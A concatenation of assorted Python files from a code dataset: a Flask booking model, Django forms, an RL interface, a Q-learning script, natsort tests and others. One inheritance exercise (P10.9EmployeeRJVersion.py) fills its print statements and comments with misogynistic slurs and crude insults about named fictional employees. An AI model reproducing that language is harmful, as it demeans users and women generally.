cursor.execute(\"INSERT INTO used (dt, time_now, left_side, right_side, cummulative) VALUES (%s,%s,%s,%s,%s)\", (measurement[3],measurement[4],measurement[0], measurement[1], measurement[2]))\r\n mariadb_connection.commit()\r\nmariadb_connection.close()\r\n","repo_name":"medukonis/kWh","sub_path":"kwh.py","file_name":"kwh.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41093739963","text":"#= Imports\nimport json\nimport urllib2\n\nclass LottosendSDK:\t\t\n\t#= Contrusctor\n\tdef __init__(self):\t\t\t\t\n\t\tself.token = ''\n\t\tself.lottosend_api = ''\n\t\tself.results_api = ''\n\t\tself.auto_login_url = ''\t\t\n\n\t# signup user in lottosend system\n\tdef signupViaApi(self,first_name, last_name, prefix, phone, email, address, country, passwd, a_aid):\t\t\n\t\tparams = dict()\n\t\tparams = {\n\t\t\t'web_user': {\n\t\t\t\t'email': email,\n\t\t\t\t'first_name': first_name,\n\t\t\t\t'last_name': last_name,\n\t\t\t\t'phone': phone,\n\t\t\t\t'password': passwd,\n\t\t\t\t'country': country,\n\t\t\t\t'address': address,\n\t\t\t\t'aid': a_aid\n\t\t\t}\n\t\t}\t\t\n\t\treq = urllib2.Request(self.lottosend_api,\n headers = {\n \"Authorization\": 'Token token=%s' % self.token,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"*/*\"\t \n \t}, data = json.dumps(params))\t\t\n\t\treturn urllib2.urlopen(req).read()\n\n\t# obtain user token to resign-in\n\tdef obtainToken(self,id):\n\t\treq = urllib2.Request('%s/%s/token'%(self.lottosend_api,id),\n headers = {\n \"Authorization\": 'Token token=%s' % self.token,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"*/*\"\t \n \t})\n\n\t\treturn urllib2.urlopen(req).read()\n\n\t# get all user info\n\tdef getUsersInfo(self):\n\t\treq = urllib2.Request('%s/?last_synced_timestamp=1'%self.lottosend_api,\n headers = {\n \"Authorization\": 'Token token=%s' % self.token,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"*/*\"\t \n \t})\n\t\treturn urllib2.urlopen(req).read()\n\n\t# get user transactions\n\tdef getUsersTransactions(self):\n\t\treq = urllib2.Request('%s/transactions/?last_synced_timestamp=1'%self.lottosend_api,\n headers = {\n \"Authorization\": 'Token token=%s' % self.token,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"*/*\"\t \n \t})\n\t\treturn urllib2.urlopen(req).read()\n","repo_name":"matanco/lottosend-sdk","sub_path":"python/lottosend.py","file_name":"lottosend.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72591014171","text":"from flask import *\nfrom backend.route.__init__ import mypool\nfrom backend.view.booking.add_booking import MemberID\nfrom backend.view.booking.add_booking import UserInput\nfrom backend.view.booking.add_booking import ResponseMessage\n\nclass Booking:\n def api_booking_post():\n member_id = MemberID.get_member_id()\n (booking_id, booking_date, booking_time, booking_fee) = UserInput.booking_input()\n\n try:\n connection = mypool.get_connection()\n cursor = connection.cursor()\n insert_query = (\n \"\"\"INSERT INTO booking(booking_attraction_id, booking_date, booking_time, booking_price, booking_member_id)\n VALUES(%s, %s, %s, %s, %s);\"\"\"\n )\n insert_value = (booking_id, booking_date, booking_time, booking_fee, member_id)\n cursor.execute(insert_query, insert_value)\n connection.commit()\n return ResponseMessage.add_booking_correct()\n\n except Exception as e:\n print(\"Error(4): \", e)\n return ResponseMessage.add_booking_error(e)\n\n finally:\n cursor.close()\n connection.close()","repo_name":"skwongman/taipei-day-trip","sub_path":"backend/model/booking/add_booking.py","file_name":"add_booking.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37106761748","text":"import numpy as np\n\n#input\nprint(\"enter unit cell dimensions in angstroms\")\ndimensions = [float(input(\"a=\")),float(input(\"b=\")),float(input(\"c=\"))]\nbravaisType = float(input(\"1. Primitive cubic, 2. Body-centered cubic, 3. Face-centered cubic\"))\nWAVELENGTH = 1.5406 #CuKα wavelength in angstroms\nMAX_INDEX = 5 #maximum hkl index to try\n\ni = [0,0,0] #tries every reflection as 3 integers\nreflections = [] #output valid reflections as array of reflections\n\n#find h,k,l reflections\nfor i[0] in range (0, MAX_INDEX):\n for i[1] in range (0, MAX_INDEX):\n for i[2] in range (0, MAX_INDEX):\n if (bravaisType == 1): #simple cubic: no restrictions.\n reflections += [[i[0],i[1],i[2]]]\n elif(bravaisType == 2): #body-centered cubic: add to even.\n if ((i[0]+i[1]+i[2]) % 2 == 0): \n reflections += [[i[0],i[1],i[2]]]\n elif(bravaisType == 3): #face-centered cubic: unmixed odd and even.\n if i[0]%2 == 0:\n if (i[1]%2 == 0) and (i[2]%2 == 0):\n reflections += [[i[0],i[1],i[2]]]\n else:\n if (i[1]%2 == 1) and (i[2]%2 == 1):\n reflections += [[i[0],i[1],i[2]]]\n\n\nn=1 #placeholder for higher order reflections\n\nd = [0] * len(reflections)\ntwoTheta = [0] * len (reflections)\n\n#convert reflection to atomic plane spacing\nif (bravaisType < 4):\n for j in range (1, len(reflections)): #start from element 1 to prevent division by zero\n d[j] = dimensions[0]/np.sqrt(np.power(reflections[j][0], 2) + np.power(reflections[j][1], 2) + np.power(reflections[j][2], 2)) #simple cubic: d = a/sqrt(h^2+k^2+l^2)\n\n#convert atomic plane spacing to reflection angle\nfor j in range (1, len(reflections)):\n if (n*WAVELENGTH/(2*d[j]) <= 1):\n twoTheta[j] = 2*np.arcsin(n*WAVELENGTH/(2*d[j])) * 180/ 3.14159 #final 2-theta in degrees\n\n#display output\nfor j in range (1, len(reflections)):\n print(\"For hkl=\",reflections[j],\", theta =\",twoTheta[j])\n","repo_name":"Forbes72/BraggDiffraction","sub_path":"XRD.py","file_name":"XRD.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31969394546","text":"from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .models import Comment, Post\n\n\nclass PostForm(forms.ModelForm):\n\n class Meta:\n model = Post\n fields = ('text', 'group', 'image')\n labels = {\n 'text': _('Текст поста'),\n 'group': _('Группа')\n }\n help_texts = {\n 'text': _('Напишите свой пост'),\n 'group': _('Выбирете группу')\n }\n error_messages = {\n 'text': {'max_length': _('Этот пост слишком длинный')},\n }\n\n\nclass CommentForm(forms.ModelForm):\n\n class Meta:\n model = Comment\n\n fields = ('text',)\n labels = {\n 'text': _('Текст комментария'),\n }\n help_texts = {\n 'text': _('Напишите свой комментарий'),\n }\n error_messages = {\n 'text': {'max_length':\n _('Этот комментарий слишком длинный')},\n }\n","repo_name":"juliana-str/yatube_final","sub_path":"yatube/posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15896528787","text":"#
    \n\n# RLinterface module\n\n\"\"\"\nThis module provides a standard interface for computational experiments with \nreinforcement-learning agents and environments. The interface is designed to \nfacilitate comparison of different agent designs and their application to different\nproblems (environments). See http://abee.cs.ualberta.ca:7777/rl-twiki/bin/view/RLAI/RLI5.\n\nClass: RLinterface\n     initialize with:   rli = RLinterface(agentFunction, envFunction)\n          where  agentStartFunction(s) -> a   \n                 agentStepFunction(s, r) -> a\n                 envStartFunction() -> s\n                 envStepFunction(a) -> s, r\nMethods:\nstep() --> r, s, a\nsteps(numSteps) --> r, s, a, r, s, a, r, s, a, ...\nepisode([maxSteps]) --> s0, a0, r1, s1, a1, ..., rT, 'terminal'\nepisodes(num, maxSteps [,maxStepsTotal]) --> s0, a0, r1, s1, a1, ..., rT, 'terminal', s0, a0 ...\nstepsQ(numSteps) like steps but no returned value (quicker and quieter)\nepisodeQ([maxSteps]) like episode but no returned value (quicker and quieter)\nepisodesQ(num, maxSteps [,maxTotal]) like episodes but no returned value (quicker and quieter)\n\n\"\"\"\n\n\nclass RLinterface:  # [Doc]\n    \"\"\"Object associating a reinforcement learning agent with its environment;\n    stores next action; see http://rlai.cs.ualberta.ca/RLAI/RLinterface.html.\"\"\"\n\n    def __init__(self, agentStartFn, agentStepFn, envStartFn, envStepFn):\n        \"\"\"Store functions defining agent and environment\"\"\"\n        self.agentStartFunction = agentStartFn\n        self.environmentStartFunction = envStartFn\n        self.agentStepFunction = agentStepFn\n        self.environmentStepFunction = envStepFn\n        self.s = 'terminal'  # force start of new episode\n        self.action = None  # the action to be used in the next step\n\n    def step(self):  # [Doc]\n        \"\"\"Run one step; this is the core function, used by all the others in RLinterface module.\"\"\"\n        if self.s == 'terminal':  # first step of an episode\n            return self.startEpisode()\n        else:\n            return self.stepnext()\n\n    def stepnext(\n            self):  # [Doc]\n        \"\"\"Run one step which is not a first step in an episode.\"\"\"\n        self.s, r = self.environmentStepFunction(self.action)\n        self.action = self.agentStepFunction(self.s, r)\n        if self.s == 'terminal':  # last step of an episode\n            return r, self.s  # no action but agent learned\n        else:  # regular step\n            return r, self.s, self.action  # action and learning\n\n    def steps(self,\n              numSteps):  # [Doc]\n        \"\"\"Run for numSteps steps, regardless of episode endings.\n        return the sequence of sensations, rewards and actions.\"\"\"\n        oaseq = []\n        for step in range(numSteps):  # run for numSteps steps\n            new = self.step()\n            oaseq.extend(new)\n        return oaseq\n\n    def startEpisode(self):\n        \"Call the environment and agent start functions\"\n        self.s = self.environmentStartFunction()\n        self.action = self.agentStartFunction(self.s)\n        return [self.s, self.action]\n\n    def episode(self,\n                maxSteps=1000000):  # [Doc]\n        \"\"\"Run for one episode, to a maximum of maxSteps steps, and return the episode.\"\"\"\n        oaseq = self.startEpisode()\n        step = 1\n        while self.s != 'terminal' and step < maxSteps:  # stop at end of episode or maxsteps\n            new = self.stepnext()\n            oaseq.extend(new)\n            step += 1\n        return oaseq\n\n    def episodes(self, numEpisodes, maxSteps=1000000,\n                 maxStepsTotal=1000000):  # [Doc]\n        \"\"\"Generate numEpisodes episodes, each no more than maxSteps steps, \n        with no more than maxStepsTotal total; return episodesin one sequence.\"\"\"\n        totsteps = 0\n        oaseq = []\n        episodeNum = 0\n        while episodeNum < numEpisodes and totsteps < maxStepsTotal:  # run for numEpisodes episodes\n            oaseq = self.startEpisode()  # start new episode\n            steps = 1\n            totsteps += 1\n            episodeNum += 1\n            while self.s != 'terminal' and \\\n                            steps < maxSteps and totsteps < maxStepsTotal:  # stop at end or too many steps\n                new = self.stepnext()\n                oaseq.extend(new)\n                totsteps += 1\n                steps += 1\n        return oaseq\n\n    def stepsQ(self,\n               numSteps):  # [Doc]\n        \"\"\"Same as steps but quicker, quieter, and returns nothing.\"\"\"\n        for step in range(numSteps):  # run for numSteps steps\n            self.step()\n\n    def episodeQ(self,\n                 maxSteps=1000000):  # [Doc]\n        \"\"\"Same as episode but quicker, quieter, and returns nothing.\"\"\"\n        self.startEpisode()\n        step = 1\n        while self.s != 'terminal' and step < maxSteps:  # stop at end of episode or maxsteps\n            self.stepnext()\n            step += 1\n\n    def episodesQ(self, numEpisodes, maxSteps=1000000,\n                  maxStepsTotal=1000000):  # [Doc]\n        \"\"\"Same as episodes but quicker, quieter, and returns nothing.\"\"\"\n        totsteps = 0\n        episodeNum = 0\n        while episodeNum < numEpisodes and totsteps < maxStepsTotal:  # run for numEpisodes episodes\n            self.startEpisode()  # start new episode\n            steps = 1\n            totsteps += 1\n            episodeNum += 1\n            while self.s != 'terminal' and \\\n                            steps < maxSteps and totsteps < maxStepsTotal:  # stop at end or too many steps\n                self.stepnext()\n                totsteps += 1\n                steps += 1\n\n\ndef stepstaken(elist):\n    \"Returns the number of steps given the list of states, actions and rewards\"\n    return elist // 3\n\n# 
    \n","repo_name":"AmiiThinks/rltoolkit","sub_path":"RLtoolkit/RLinterface2.py","file_name":"RLinterface2.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"7048965545","text":"#!/usr/bin/python\nimport urllib\nimport urllib2\nimport re\n\nmy_dict = {}\ngrades = [\"A\", \"A-\", \"B\", \"B-\", \"C\", \"C-\", \"D\", \"D-\", \"F\" ]\n\nroll_no = int(input('Enter Roll Number - '))\nhtmls = []\nhtmls.append(\"Grade Details
    \")\n\nfor grade in grades:\n\turl = 'https://isas.iiit.ac.in/grade/course.php'\n\tvalues = {'rno' : roll_no, 'grade' : grade }\n\tdata = urllib.urlencode(values)\n\treq = urllib2.Request(url)\n\tresponse = urllib2.urlopen(req,data)\n\tthe_page = response.read()\n#\tf = open('template_downloaded','r')\n#\tthe_page = f.read()\n\t\n\tresult = re.search('(.*?).*?(.*?).*?(.*?)(.*)',the_page)\n\tkk = result.group(4)\n\tif(kk!=\"\"):\n\t\tresult1 = re.search('(.*?).*?(.*?).*?(.*?)(.*)', kk)\n\t\tif(grade == \"A\"):\n\t\t\tmy_dict[result.group(1)] = result1.group(1)\n\t\t\thtmls.append(\"

    \" + result.group(1) + \" - \" + result1.group(1) + \"

    \")\n\t\t\tmy_dict[result.group(2)] = result1.group(2)\n\t\t\thtmls.append(\"

    \" + result.group(2) + \" - \" + result1.group(2) + \"

    \")\n\t\t\thtmls.append(\"
    \")\n\t\tif(result1.end()>=3):\n\t\t\tmy_dict[grade] = result1.group(3)\n\t\t\thtmls.append(\"\")\n\t\t\nhtmls.append(\"
    GradeCourses
    \" + grade + \"\")\n\t\t\thtmls.append(result1.group(3) + \"
    \")\n\nwrite_f = open('result.html','w')\nfor i in htmls:\n\twrite_f.write(i)\n\twrite_f.write(\"\\n\")\nwrite_f.close()\n\n#print my_dict\n","repo_name":"panwarnaveen9/My_PYScripts","sub_path":"get_grade.py","file_name":"get_grade.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27046960768","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 23:48:20 2018\n\n@author: yiqian\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n \n l1List, l2List = [], []\n \n if l1==None:\n return l2\n if l2==None:\n return l1\n \n while l1!=None:\n l1List.append(l1.val)\n l1 = l1.next\n \n while l2!=None:\n l2List.append(l2.val)\n l2 = l2.next\n \n l1Len, l2Len = len(l1List), len(l2List)\n if l1Len>l2Len:\n maxList, minList = l1List, l2List\n maxL, minL = l1Len, l2Len\n else:\n maxList, minList = l2List, l1List\n maxL, minL = l2Len, l1Len\n \n \n i, c = -1, 0\n result = []\n \n while abs(i)<=maxL:\n if abs(i)>minL:\n if c==0:\n result = maxList[:i+1] + result\n return result\n else:\n tempSum = (maxList[i] + c)%10\n c = (maxList[i]+c)/10\n result = [tempSum] + result\n i -= 1\n else:\n tempSum = (maxList[i] + minList[i] + c)%10\n c = (maxList[i] + minList[i] + c)/10\n result = [tempSum] + result\n i -= 1\n if c==1:\n result = [1] + result\n\n Point = Head = ListNode(result[0])\n for i in range(1, len(result)):\n Head.next = ListNode(result[i])\n Head = Head.next\n return Point\n \n \n \"\"\"\n Add Two Numbers II\n the input is two linked nodes\n \"\"\"","repo_name":"AlexQianYi/Leetcode","sub_path":"445 Add Two Numbers.py","file_name":"445 Add Two Numbers.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"4276923238","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport scipy.io.wavfile as wv\nimport scipy.signal as sig\n\nif __name__ == '__main__':\n n=0.03\n x=np.linspace(0,n,300)\n x2=np.linspace(0,1,300)\n\n y1=np.cos(520*np.pi*x+np.pi/3)\n y2=np.cos(280*np.pi*x-np.pi/3)\n y3=np.cos(120*np.pi*x+np.pi/3)\n y4 = np.cos(200 * np.pi * x + np.pi / 3)\n fig,axs =plt.subplots(6)\n axs[0].plot(x,y1)\n axs[1].plot(x, y2)\n axs[2].plot(x, y3)\n #axs[3].plot(x, y4)\n #t=(2*np.pi)/200\n #print(t)\n fn=200\n m=math.floor(np.floor(fn*n))\n print(m)\n x1 = np.linspace(0, n, m+1)\n x=x1\n y1 = np.cos(520 * np.pi * x + np.pi / 3)\n y2 = np.cos(280 * np.pi * x - np.pi / 3)\n y3 = np.cos(120 * np.pi * x + np.pi / 3)\n axs[3].plot(x1, y1)\n axs[4].plot(x1, y2)\n axs[5].plot(x1, y3)\n plt.show()\n\n\n\n#Exercitiul 1\n'''\na)1/2000=0.0005s\nb)4biti=0.5 bytes=>0.5*2000*3600=3.6MB\n\n\n'''\n","repo_name":"Kemikal1/Proc-Semnale","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39783935827","text":"\n'''\nNames in group:\nMiguel Salazar, Julio Paveda, Jesus Rodriguez, *RJ Sundseth\nDate: 12th March, 2019\nVersion: 0.0.1\nProgram description:\n++Make a class Employee with a name and salary. \n++Make a class Manager inherit from Employee. \n Add an instance variable, named _department, that stores a\n string. \n \n++Supply a method __repr__ that prints the manager's name, department, and salary.\n Make a class Executive inherit from Manager. Supply appropriate __repr__ methods \n for all classes.\n \n++Supply a text program that tests these classes and methods.\n \n'''\n\n# this program is an inheritance program containing:\n# Employee, Manager, and Department classes.\n# Julio wrote these classes, definitions, etc.\n# This is RJ tidying up and adding comments,\n# aiming to get this program easy-to-read and\n# follow so that - God forbid! - we ever\n# need to come back to it, we'll know how it \n# worked!\n\n## I re-wrote most of the functions myself. However,\n## Julio's work helped a lot in getting a better idea\n## on how to work flowed.\n\n## As such, I'd say this is a joint-effort for Julio and I\n## but I'll do my best to add comments specific to Julio and/or\n## my code where applicable\n\n\n\n## make a class Employee with a name and salary.\n## might as well consider this the ^^superclass^^\n## because all the other classes will inheret from\n## Employeee\n\nclass Employeee(object):\n def __init__(self, name, salary):\n self.name = name\n self.salary = salary\n def __repr__(self):\n return '{self.name}, {self.salary}' ##.format(self=self)\n\n\ndenise = Employeee(\"denise\", 65000.58)\n\nprint(f\"Name of employee is: {denise.name}, born\\\n like the little hussie that cunt is.\")\n\n\n\n## now let's make a class Manager that \n##inherits from Employeee\n## subclass of Employee called Manager\n\nclass Manager(Employeee):\n def __init__(self, name, salary, _department):\n self._department = _department\n super(Manager, self).__init__(name, 80000000)\n def __repr__(self):\n return '{self.name} , {self.salary}, {_department}'\n \nclass Executive(Manager):\n def __init__(self, name, salary, _department, _executiveImportantHuman):\n self._executiveImportantHuman = _executiveImportantHuman \n super(Executive, self).__init__(name, salary, _department)\nJessica = Manager(\"Jessica\", 80000, \"Management\")\nprint(f\"Name of employee is: {Jessica.name}\\\n she gets paid {Jessica.salary} per year to be a frigid nightmare\\\n of a woman.\")\n\nrexRuthless = Executive(\"Rex Ruthless\", 9999999999999999999, \"Suuuper Management\", \"He's a\\\n corrupt and horrible person but he has a lot of money, so he gets away with whatever.\\\n It's the US, what do you expect?\")\nprint(f\"Name of prick CEO is: {rexRuthless.name}. He gets paid an ungodly {rexRuthless.salary}\")\n\n# class Executive(Manager):\n# ## make a __repr__ that prints \n# def __init__(self, name, salary, _department, isExecutive):\n# self.isExecutive = isExecutive\n# super(Manager, self).__init__(name, salary, _department)\n\n# def __repr__(self):\n# return '{self.name} , {self.salary}, {self._department}'\n\n\n\n\n\n\nprint(f\"The name of our Manager is {Jessica.name} and she's a lazy cunt. We pay her {Jessica.salary} to yell at people and fart all the time. {Jessica._department}\")\n\n\n## this is a bit of code to test out our superclass Employeee with Jimmy\nJimmy = Employeee(\"Jimmy\", 50000)\nprint(f\"Employee name: {Jimmy.name}\")\nprint(f\"Employee salary: ${Jimmy.salary} per year\")\n\n\n\n\n# ##print(myManager)\n# ShitfaceFuckwad = Executive(\"Mr. Grab her by the Pussy\", 800000000000000, \"Executive Dept\", \"CEO\" )\n# print(f\"Our Executive of our company is {ShitfaceFuckwad.name}\")\n\n# # class Manager(Employee):\n# # def __init__(self, name, salary):\n# # super(Manager, self).__init__(name, salary)\n\n\n\n\n\n# # class Employee():\n# # def __init__(self, name, salary):\n# # self.name = name\n# # self.salary = salary\n\n# # def getName(self):\n# # return self.name\n\n# # def getSalary(self):\n# # return self.salary\n\n# # Employee()\n# # ####### SUB CLASS ##########\n\n# # ## make a class Manager inherit from Employee\n# # # class Manager(Employee):\n# # # ##Add an instance variable, named _department, that stores a string.\n# # # ## supply a method __repr__ that prints the manager's name,\n# # # ## department, and salary.\n# # # def __repr__(self, name, salary, _department):\n# # # self._department = ''\n# # # ## make a class Executive inherit from Manager. Supply appropriate __repr__ methods \n# # # ## for all classes.\n# # # # class Executive(Manager):\n# # # # def repr(self, name, salary, _department):\n# # # # self._department = 'Executive'\n \n# # # ## let's make some employees to have fun with!!!!\n\n# # # shitExecutive = Employee()\n\n# # # print(shitExecutive)\n\n\n# # # ###########################################################\n# # # ###########################################################\n# # # ## supply a text program that tests these \n# # # ## classes and methods.\n# # # ###########################################################\n# # # ###########################################################\n\n# # # # print(\"Alright let's have some fun with this data!\")\n# # # # name = input(\"What would you like your low-ranking, shitty-assed\\\n# # # # Employee be called? \")\n\n# # # # print(\"Great, \" + name + \" Is a fucking banger choice, mate!\")\n# # # # salary = input(\"How much money do we think \" + name + \" should get paid per year? \")\n\n# # # # print(\"Mkay, thus far\" + name + \" makes \" +)\n\n# # # # print(\"Now let's promote\" + name + \"To a manager\")\n# # # # nameManager = name.","repo_name":"julioepm/inClass02Inheritance","sub_path":"P10.9EmployeeRJVersion.py","file_name":"P10.9EmployeeRJVersion.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34372382307","text":"import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(0)\n\nenv = gym.make(\"MountainCar-v0\")\n\nLEARNING_RATE = 0.1\nDISCOUNT = 0.95 # importance of future rewards over current rewards\nEPISODES = 25000\n\nSHOW_EVERY = 5000\nSTATS_EVERY = 100\n\nDISCRETE_OS_SIZE = [40] * len(env.observation_space.high)\ndiscrete_os_win_size = (env.observation_space.high - env.observation_space.low) / DISCRETE_OS_SIZE\n\nepsilon = 0.5 # how frequent we want to explore / take random steps\nSTART_EPSILON_DECAY = 1\nEND_EPSILON_DECAY = EPISODES // 2\n\nepsilon_decay_value = epsilon / (END_EPSILON_DECAY - START_EPSILON_DECAY)\n\nq_table = np.random.uniform(low=-2, high=0, size=(DISCRETE_OS_SIZE + [env.action_space.n])) # (20, 20, 3)\n\nep_rewards = []\naggr_ep_rewards = {'ep': [], 'avg': [], 'min': [], 'max': []}\n\n\ndef get_discrete_state(state):\n\tdiscrete_state = (state - env.observation_space.low) / discrete_os_win_size\n\treturn tuple(discrete_state.astype(int))\n\n\nfor episode in range(EPISODES + 1):\n\n\tepisode_reward = 0\n\n\tif episode % SHOW_EVERY == 0:\n\t\tprint(episode)\n\t\trender = True\n\telse:\n\t\trender = False\n\n\tdiscrete_state = get_discrete_state(env.reset())\n\tdone = False\n\n\twhile not done:\n\n\t\tif np.random.random() > epsilon:\n\t\t\taction = np.argmax(q_table[discrete_state])\n\t\telse:\n\t\t\taction = np.random.randint(0, env.action_space.n)\n\n\t\tnew_state, reward, done, _ = env.step(action)\n\t\tepisode_reward += reward\n\t\tnew_discrete_state = get_discrete_state(new_state)\n\n\t\tif render:\n\t\t\tenv.render()\n\n\t\tif not done:\n\t\t\tmax_future_q = np.max(q_table[new_discrete_state])\n\t\t\tcurrent_q = q_table[discrete_state + (action, )]\n\t\t\tnew_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * (reward + DISCOUNT * max_future_q)\n\t\t\tq_table[discrete_state + (action, )] = new_q\n\n\t\telif new_state[0] >= env.goal_position:\n\t\t\t# print(f\"We made it on episode {episode}\")\n\t\t\tq_table[discrete_state + (action, )] = 0\n\n\t\tdiscrete_state = new_discrete_state\n\n\tif END_EPSILON_DECAY >= episode >= START_EPSILON_DECAY:\n\t\tepsilon -= epsilon_decay_value\n\n\tep_rewards.append(episode_reward)\n\n\tif episode % STATS_EVERY == 0:\n\t\tnp.save(f\"../qtables/{episode}-qtable.npy\", q_table)\n\t\trecent_eps = ep_rewards[-STATS_EVERY:]\n\t\taverage_reward = sum(recent_eps) / len(recent_eps)\n\t\taggr_ep_rewards['ep'].append(episode)\n\t\taggr_ep_rewards['avg'].append(average_reward)\n\t\taggr_ep_rewards['min'].append(min(recent_eps))\n\t\taggr_ep_rewards['max'].append(max(recent_eps))\n\n\t\tprint(f\"Episode: {episode} avg: {average_reward} min: {min(recent_eps)} max: {max(recent_eps)}\")\n\nenv.close()\n\nplt.plot(aggr_ep_rewards['ep'], aggr_ep_rewards['avg'], label='avg')\nplt.plot(aggr_ep_rewards['ep'], aggr_ep_rewards['min'], label='min')\nplt.plot(aggr_ep_rewards['ep'], aggr_ep_rewards['max'], label='max')\nplt.legend()\nplt.grid(True)\nplt.show()\n","repo_name":"mp-ng/mountain-car","sub_path":"src/q-learning-mountaincar.py","file_name":"q-learning-mountaincar.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12510502135","text":"# -*- coding: utf-8 -*-\n\"\"\"\\\nTest the natsort command-line tool functions.\n\"\"\"\nfrom __future__ import print_function, unicode_literals\nimport re\nimport sys\nfrom pytest import raises\nfrom compat.mock import patch, call\nfrom hypothesis import (\n given,\n)\nfrom hypothesis.strategies import (\n integers,\n floats,\n lists,\n data,\n)\nfrom natsort.__main__ import (\n main,\n range_check,\n check_filter,\n keep_entry_range,\n exclude_entry,\n sort_and_print_entries,\n)\n\n\ndef test_main_passes_default_arguments_with_no_command_line_options():\n with patch('natsort.__main__.sort_and_print_entries') as p:\n sys.argv[1:] = ['num-2', 'num-6', 'num-1']\n main()\n args = p.call_args[0][1]\n assert not args.paths\n assert args.filter is None\n assert args.reverse_filter is None\n assert args.exclude is None\n assert not args.reverse\n assert args.number_type == 'int'\n assert not args.signed\n assert args.exp\n assert not args.locale\n\n\ndef test_main_passes_arguments_with_all_command_line_options():\n with patch('natsort.__main__.sort_and_print_entries') as p:\n sys.argv[1:] = ['--paths', '--reverse', '--locale',\n '--filter', '4', '10',\n '--reverse-filter', '100', '110',\n '--number-type', 'float', '--noexp', '--sign',\n '--exclude', '34', '--exclude', '35',\n 'num-2', 'num-6', 'num-1']\n main()\n args = p.call_args[0][1]\n assert args.paths\n assert args.filter == [(4.0, 10.0)]\n assert args.reverse_filter == [(100.0, 110.0)]\n assert args.exclude == [34, 35]\n assert args.reverse\n assert args.number_type == 'float'\n assert args.signed\n assert not args.exp\n assert args.locale\n\n\nclass Args:\n \"\"\"A dummy class to simulate the argparse Namespace object\"\"\"\n def __init__(self, filt, reverse_filter, exclude, as_path, reverse):\n self.filter = filt\n self.reverse_filter = reverse_filter\n self.exclude = exclude\n self.reverse = reverse\n self.number_type = 'float'\n self.signed = True\n self.exp = True\n self.paths = as_path\n self.locale = 0\n\nentries = ['tmp/a57/path2',\n 'tmp/a23/path1',\n 'tmp/a1/path1',\n 'tmp/a1 (1)/path1',\n 'tmp/a130/path1',\n 'tmp/a64/path1',\n 'tmp/a64/path2']\n\nmock_print = '__builtin__.print' if sys.version[0] == '2' else 'builtins.print'\n\n\ndef test_sort_and_print_entries_uses_default_algorithm_with_all_options_false():\n with patch(mock_print) as p:\n # tmp/a1 (1)/path1\n # tmp/a1/path1\n # tmp/a23/path1\n # tmp/a57/path2\n # tmp/a64/path1\n # tmp/a64/path2\n # tmp/a130/path1\n sort_and_print_entries(entries, Args(None, None, False, False, False))\n e = [call(entries[i]) for i in [3, 2, 1, 0, 5, 6, 4]]\n p.assert_has_calls(e)\n\n\ndef test_sort_and_print_entries_uses_PATH_algorithm_with_path_option_true_to_properly_sort_OS_generated_path_names():\n with patch(mock_print) as p:\n # tmp/a1/path1\n # tmp/a1 (1)/path1\n # tmp/a23/path1\n # tmp/a57/path2\n # tmp/a64/path1\n # tmp/a64/path2\n # tmp/a130/path1\n sort_and_print_entries(entries, Args(None, None, False, True, False))\n e = [call(entries[i]) for i in [2, 3, 1, 0, 5, 6, 4]]\n p.assert_has_calls(e)\n\n\ndef test_sort_and_print_entries_keeps_only_paths_between_of_20_to_100_with_filter_option():\n with patch(mock_print) as p:\n # tmp/a23/path1\n # tmp/a57/path2\n # tmp/a64/path1\n # tmp/a64/path2\n sort_and_print_entries(entries, Args([(20, 100)], None, False, False, False))\n e = [call(entries[i]) for i in [1, 0, 5, 6]]\n p.assert_has_calls(e)\n\n\ndef test_sort_and_print_entries_excludes_paths_between_of_20_to_100_with_reverse_filter_option():\n with patch(mock_print) as p:\n # tmp/a1/path1\n # tmp/a1 (1)/path1\n # tmp/a130/path1\n sort_and_print_entries(entries, Args(None, [(20, 100)], False, True, False))\n e = [call(entries[i]) for i in [2, 3, 4]]\n p.assert_has_calls(e)\n\n\ndef test_sort_and_print_entries_excludes_paths_23_or_130_with_exclude_option_list():\n with patch(mock_print) as p:\n # tmp/a1/path1\n # tmp/a1 (1)/path1\n # tmp/a57/path2\n # tmp/a64/path1\n # tmp/a64/path2\n 